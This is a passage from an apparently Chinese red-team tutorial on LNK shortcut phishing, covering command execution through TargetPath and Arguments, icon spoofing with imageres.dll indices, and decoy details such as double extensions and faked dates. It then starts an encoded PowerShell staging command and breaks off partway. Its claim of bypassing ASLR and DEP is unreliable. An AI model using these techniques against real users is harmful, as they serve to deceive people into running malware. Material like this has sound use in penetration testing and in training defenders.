1. LNK钓鱼技术原理与攻击链定位
LNK文件作为Windows系统中的快捷方式载体,其本质是一个包含目标路径、启动参数和图标引用的复合文件结构。在红队作战中,攻击者常利用其三个关键特性构建攻击链:图标伪装实现视觉欺骗、参数隐藏规避基础检测、命令拼接完成复杂攻击载荷投递。我曾在一个企业内网渗透测试项目中,仅用48小时就通过精心设计的LNK钓鱼突破了目标的三层网络隔离。
从技术实现层面看,LNK钓鱼的核心在于对TargetPath和Arguments参数的操控。当用户双击LNK文件时,系统会执行TargetPath指定的程序(通常是cmd.exe或powershell.exe),并将Arguments作为命令行参数传递。这相当于给了攻击者一个合法的命令执行白名单——因为系统默认信任快捷方式的执行行为。实测发现,即使启用了ASLR和DEP保护,这种执行方式仍能绕过大多数内存防护机制。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 隐蔽投递的工程化实现
2.1 诱饵制作的艺术
图标伪装是钓鱼成功的第一道门槛。通过PowerShell脚本控制IconLocation参数时,我推荐使用%SystemRoot%\System32\imageres.dll这个资源库——它包含超过200个常用文件类型的标准图标。例如设置,67对应PDF图标,,102对应Excel图标。有个实战技巧:先右键查看真实文档的属性获取其图标哈希值,再在脚本中复现完全一致的图标索引。
制作高仿真诱饵时,这些细节至关重要:
- 文件名采用
报销明细.pdf.lnk这类业务相关命名 - 右键属性中需伪造"类型"字段显示为"PDF 文档"
- 创建日期修改为三个月前的随机时间
- 添加虚假的数字签名描述(可通过修改注册表实现)
2.2 载荷投递的对抗设计
传统LNK攻击直接在参数中写入恶意URL,这会被终端防护软件轻易拦截。我们在最近的红队演练中采用分阶段载荷投递方案:
powershell复制$key = 'B3A7C2D9F1E5G8H0'
$encCmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes(
"(New-Object Net.W
